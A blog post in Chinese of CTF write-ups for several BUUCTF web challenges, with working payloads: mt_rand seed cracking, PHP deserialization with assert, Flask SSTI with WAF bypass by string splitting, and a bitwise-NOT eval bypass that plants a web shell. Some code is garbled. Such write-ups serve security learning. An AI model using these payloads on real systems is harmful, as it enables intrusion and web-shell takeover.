BUUCTF_WEB_20201010

[GWCTF 2019]枯燥的抽奖

随便抓个包提交,发现提交到check.php

mEpwEPj4UR
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

漏洞在于mt_srand()这个函数,php中,mt_rand()生成的是一个伪随机数,是通过算法生成出来的,所以我们可以根据这个来进行破解,从而得到mt_srand()里的种子
EXP

<?php
$pass_now = "D6gp9CNrel";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

$length = strlen($allowable_characters) - 1;

for ($j = 0; $j < strlen($pass_now); $j++) {
    for ($i = 0; $i < $length; $i++) {
        if ($pass_now[$j] == $allowable_characters[$i]) {
            echo "$i $i 0 $length ";
            break;
        }
    }
}
?>
看到好多web都是用python 写的
再放上python写的exp

```python
str1 ='FpCyLNvPOj'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break

print(result)

生成了数列,然后要转为爆破脚本可识别的数列


然后生成了种子769132213
然后代入到

<?php
mt_srand(769132213);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";
?>


提交了就获得了flag

WEB-[NPUCTF2020]ReadlezPHP

查看源码发现有一个目录http://9895300b-a939-43ee-989f-b6d163ba15b0.node3.buuoj.cn/time.php?source

 <?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2020-10-10 12:18:33

解法1:
由$b($a)可以构造$b=assert,$a=phpinfo ->assert(phpinfo())
属性b包裹住属性a
刚好可以传个木马进去
利用assert()函数
assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马assert(eval($_POST[penson])😉
反序列化构造
echo serialize($c); #$c来自源码

O:8:"HelloPhp":2:

payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

WEB-[GYCTF2020]FlaskApp

  • SSTI注入
    base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。有关解密的关键代码如下:
    获取我们传的text参数,进行解密,如果可以过waf则执行代码。{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('app.py','r').read() }}
@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

 [Open an interactive python shell in this frame]         res =  render_template_string(tmp)

所以可以使用ssti注入。发现确实存在ssti注入。直接执行命令:{% for c in [].class.base.subclasses() %}{% if c.name'catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}查看根目录
解密发现不行,要思索一下app.py里的那个waf()函数他是不是过滤了什么。

waf函数发现了过滤,原来是flag和os等被过滤。
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
那么我们可以利用字符串拼接找目录与执行命令。扫描根目录/:
{% for c in [].class.base.subclasses() %}{% if c.name
'catch_warnings' %}{{ c.init.globals['builtins']'imp'+'ort'.listdir('/')}}{% endif %}{% endfor %}
发现了this_is_the_flag.txt读取this_is_the_flag.txt:由于waf过滤了flag,所以我们对“flag”进行拼接:{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

flag{e6c89b14-d2fd-4920-b800-05d885e30e52}

WEB-[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

过滤了字母数字,考虑异或或者取反绕过,老套路
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:http://6ec3802c-407f-4eb3-9561-20a144f7793f.node3.buuoj.cn/?code=(~�������)();

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:
构造取反连接蚁剑
复制代码

<?php
a=′assert′;echourlencode( 
a)."\n";
b=′(eval(

_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>

使用蚁剑连接:http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
密码:cmd

posted @ 2020-10-14 15:19  WANGXIN_YU  阅读(281)  评论(0)    收藏  举报